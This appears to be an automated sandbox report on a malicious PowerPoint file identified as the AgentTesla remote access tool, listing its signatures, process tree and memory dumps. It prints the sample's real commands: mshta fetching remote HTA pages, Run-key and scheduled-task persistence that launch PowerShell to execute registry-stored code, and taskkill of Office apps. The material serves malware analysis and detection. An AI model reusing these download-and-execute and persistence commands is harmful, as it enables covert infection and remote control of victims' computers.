Analysis
-
max time kernel
123s -
max time network
127s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
22-04-2021 07:53
Static task
static1
Behavioral task
behavioral1
Sample
1.ppt
Resource
win7v20210410
Behavioral task
behavioral2
Sample
1.ppt
Resource
win10v20210408
General
-
Target
1.ppt
-
Size
78KB
-
MD5
d942cc1f6472ee2ef8c9dc5543e009ab
-
SHA1
b322a2b14f015afa34e632e7f08149444eb3857e
-
SHA256
6fe9b24604c251a382a9f9148b26b08795cc09784f552bdc9d764f90390ac0d7
-
SHA512
164c3885d3f3eb05d5cf0b5053971d8f7f1ed891978df7b6231d3b8b29208eb657224eb34ed8534b61fd831bef193febb6e7bd0522189fa4127e8fdd363cc42c
Malware Config
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exepowershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 3912 800 mshta.exe POWERPNT.EXE Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2236 3524 powershell.exe -
AgentTesla Payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/2692-187-0x0000000000437DBE-mapping.dmp family_agenttesla -
Blocklisted process makes network request 15 IoCs
Processes:
mshta.exepowershell.exeflow pid process 17 3912 mshta.exe 21 3912 mshta.exe 25 3912 mshta.exe 29 3912 mshta.exe 33 3912 mshta.exe 37 3912 mshta.exe 39 3912 mshta.exe 41 3912 mshta.exe 44 3912 mshta.exe 45 3912 mshta.exe 47 3912 mshta.exe 48 3912 mshta.exe 53 2236 powershell.exe 56 2236 powershell.exe 58 2236 powershell.exe -
Drops file in Drivers directory 1 IoCs
Processes:
aspnet_compiler.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts aspnet_compiler.exe -
Adds Run key to start application 2 TTPs 6 IoCs
Processes:
mshta.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\replcia = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).nasdnasndnad)|IEX\"\", 0 : window.close\")" mshta.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\DLESOLCRETSAM = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).MSOFFICELO)|IEX\"\", 0 : window.close\")" mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\dkkkksakdosexography = "\"mshta\"\"http://1230948%[email protected]/p/17.html\"" mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"mshta\"\"http://1230948%[email protected]/p/17.html\"" mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\nunukhaoo = "\"mshta\"\"http://1230948%[email protected]/p/17.html\"" mshta.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2236 set thread context of 2692 2236 powershell.exe aspnet_compiler.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1272 3912 WerFault.exe mshta.exe -
Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
POWERPNT.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates system info in registry 2 TTPs 5 IoCs
Processes:
POWERPNT.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU POWERPNT.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily -
Kills process with taskkill 2 IoCs
Processes:
taskkill.exetaskkill.exepid process 1048 taskkill.exe 1144 taskkill.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 800 POWERPNT.EXE -
Suspicious behavior: EnumeratesProcesses 20 IoCs
Processes:
powershell.exeWerFault.exeaspnet_compiler.exepid process 2236 powershell.exe 2236 powershell.exe 2236 powershell.exe 1272 WerFault.exe 1272 WerFault.exe 1272 WerFault.exe 1272 WerFault.exe 1272 WerFault.exe 1272 WerFault.exe 1272 WerFault.exe 1272 WerFault.exe 1272 WerFault.exe 1272 WerFault.exe 1272 WerFault.exe 1272 WerFault.exe 1272 WerFault.exe 1272 WerFault.exe 1272 WerFault.exe 2692 aspnet_compiler.exe 2692 aspnet_compiler.exe -
Suspicious use of AdjustPrivilegeToken 47 IoCs
Processes:
powershell.exetaskkill.exetaskkill.exeWerFault.exeaspnet_compiler.exedescription pid process Token: SeDebugPrivilege 2236 powershell.exe Token: SeDebugPrivilege 1048 taskkill.exe Token: SeDebugPrivilege 1144 taskkill.exe Token: SeIncreaseQuotaPrivilege 2236 powershell.exe Token: SeSecurityPrivilege 2236 powershell.exe Token: SeTakeOwnershipPrivilege 2236 powershell.exe Token: SeLoadDriverPrivilege 2236 powershell.exe Token: SeSystemProfilePrivilege 2236 powershell.exe Token: SeSystemtimePrivilege 2236 powershell.exe Token: SeProfSingleProcessPrivilege 2236 powershell.exe Token: SeIncBasePriorityPrivilege 2236 powershell.exe Token: SeCreatePagefilePrivilege 2236 powershell.exe Token: SeBackupPrivilege 2236 powershell.exe Token: SeRestorePrivilege 2236 powershell.exe Token: SeShutdownPrivilege 2236 powershell.exe Token: SeDebugPrivilege 2236 powershell.exe Token: SeSystemEnvironmentPrivilege 2236 powershell.exe Token: SeRemoteShutdownPrivilege 2236 powershell.exe Token: SeUndockPrivilege 2236 powershell.exe Token: SeManageVolumePrivilege 2236 powershell.exe Token: 33 2236 powershell.exe Token: 34 2236 powershell.exe Token: 35 2236 powershell.exe Token: 36 2236 powershell.exe Token: SeIncreaseQuotaPrivilege 2236 powershell.exe Token: SeSecurityPrivilege 2236 powershell.exe Token: SeTakeOwnershipPrivilege 2236 powershell.exe Token: SeLoadDriverPrivilege 2236 powershell.exe Token: SeSystemProfilePrivilege 2236 powershell.exe Token: SeSystemtimePrivilege 2236 powershell.exe Token: SeProfSingleProcessPrivilege 2236 powershell.exe Token: SeIncBasePriorityPrivilege 2236 powershell.exe Token: SeCreatePagefilePrivilege 2236 powershell.exe Token: SeBackupPrivilege 2236 powershell.exe Token: SeRestorePrivilege 2236 powershell.exe Token: SeShutdownPrivilege 2236 powershell.exe Token: SeDebugPrivilege 2236 powershell.exe Token: SeSystemEnvironmentPrivilege 2236 powershell.exe Token: SeRemoteShutdownPrivilege 2236 powershell.exe Token: SeUndockPrivilege 2236 powershell.exe Token: SeManageVolumePrivilege 2236 powershell.exe Token: 33 2236 powershell.exe Token: 34 2236 powershell.exe Token: 35 2236 powershell.exe Token: 36 2236 powershell.exe Token: SeDebugPrivilege 1272 WerFault.exe Token: SeDebugPrivilege 2692 aspnet_compiler.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
POWERPNT.EXEaspnet_compiler.exepid process 800 POWERPNT.EXE 800 800 2692 aspnet_compiler.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
mshta.exepowershell.exedescription pid process target process PID 800 wrote to memory of 3912 800 mshta.exe PID 800 wrote to memory of 3912 800 mshta.exe PID 3912 wrote to memory of 4044 3912 mshta.exe schtasks.exe PID 3912 wrote to memory of 4044 3912 mshta.exe schtasks.exe PID 3912 wrote to memory of 1048 3912 mshta.exe taskkill.exe PID 3912 wrote to memory of 1048 3912 mshta.exe taskkill.exe PID 3912 wrote to memory of 1144 3912 mshta.exe taskkill.exe PID 3912 wrote to memory of 1144 3912 mshta.exe taskkill.exe PID 2236 wrote to memory of 2692 2236 powershell.exe aspnet_compiler.exe PID 2236 wrote to memory of 2692 2236 powershell.exe aspnet_compiler.exe PID 2236 wrote to memory of 2692 2236 powershell.exe aspnet_compiler.exe PID 2236 wrote to memory of 2692 2236 powershell.exe aspnet_compiler.exe PID 2236 wrote to memory of 2692 2236 powershell.exe aspnet_compiler.exe PID 2236 wrote to memory of 2692 2236 powershell.exe aspnet_compiler.exe PID 2236 wrote to memory of 2692 2236 powershell.exe aspnet_compiler.exe PID 2236 wrote to memory of 2692 2236 powershell.exe aspnet_compiler.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\1.ppt" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:800 -
C:\Windows\SYSTEM32\mshta.exemshta http://www.j.mp/asdqwpodqjwndddjakdhs2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3912 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%[email protected]/p/17.html""\"", 0 : window.close"\")3⤵
- Creates scheduled task(s)
PID:4044 -
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /f /im winword.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1048 -
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /f /im Excel.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1144 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3912 -s 28883⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1272
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2236 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe#cmd2⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2692
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/800-114-0x00007FFA6EBC0000-0x00007FFA6EBD0000-memory.dmpFilesize
64KB
-
memory/800-115-0x00007FFA6EBC0000-0x00007FFA6EBD0000-memory.dmpFilesize
64KB
-
memory/800-116-0x00007FFA6EBC0000-0x00007FFA6EBD0000-memory.dmpFilesize
64KB
-
memory/800-117-0x00007FFA6EBC0000-0x00007FFA6EBD0000-memory.dmpFilesize
64KB
-
memory/800-118-0x00007FFA6EBC0000-0x00007FFA6EBD0000-memory.dmpFilesize
64KB
-
memory/800-119-0x00007FFA90E10000-0x00007FFA929ED000-memory.dmpFilesize
27.9MB
-
memory/800-122-0x00007FFA8D660000-0x00007FFA8E74E000-memory.dmpFilesize
16.9MB
-
memory/800-123-0x00007FFA88610000-0x00007FFA8A505000-memory.dmpFilesize
31.0MB
-
memory/1048-183-0x0000000000000000-mapping.dmp
-
memory/1144-184-0x0000000000000000-mapping.dmp
-
memory/2236-181-0x000002AAF5CB0000-0x000002AAF5CB2000-memory.dmpFilesize
8KB
-
memory/2236-182-0x000002AAF5CB3000-0x000002AAF5CB5000-memory.dmpFilesize
8KB
-
memory/2236-185-0x000002AAF5CB6000-0x000002AAF5CB8000-memory.dmpFilesize
8KB
-
memory/2236-186-0x000002AAF5CB8000-0x000002AAF5CB9000-memory.dmpFilesize
4KB
-
memory/2692-187-0x0000000000437DBE-mapping.dmp
-
memory/2692-188-0x0000000004E20000-0x0000000004E21000-memory.dmpFilesize
4KB
-
memory/2692-189-0x0000000004E21000-0x0000000004E22000-memory.dmpFilesize
4KB
-
memory/3912-179-0x0000000000000000-mapping.dmp
-
memory/4044-180-0x0000000000000000-mapping.dmp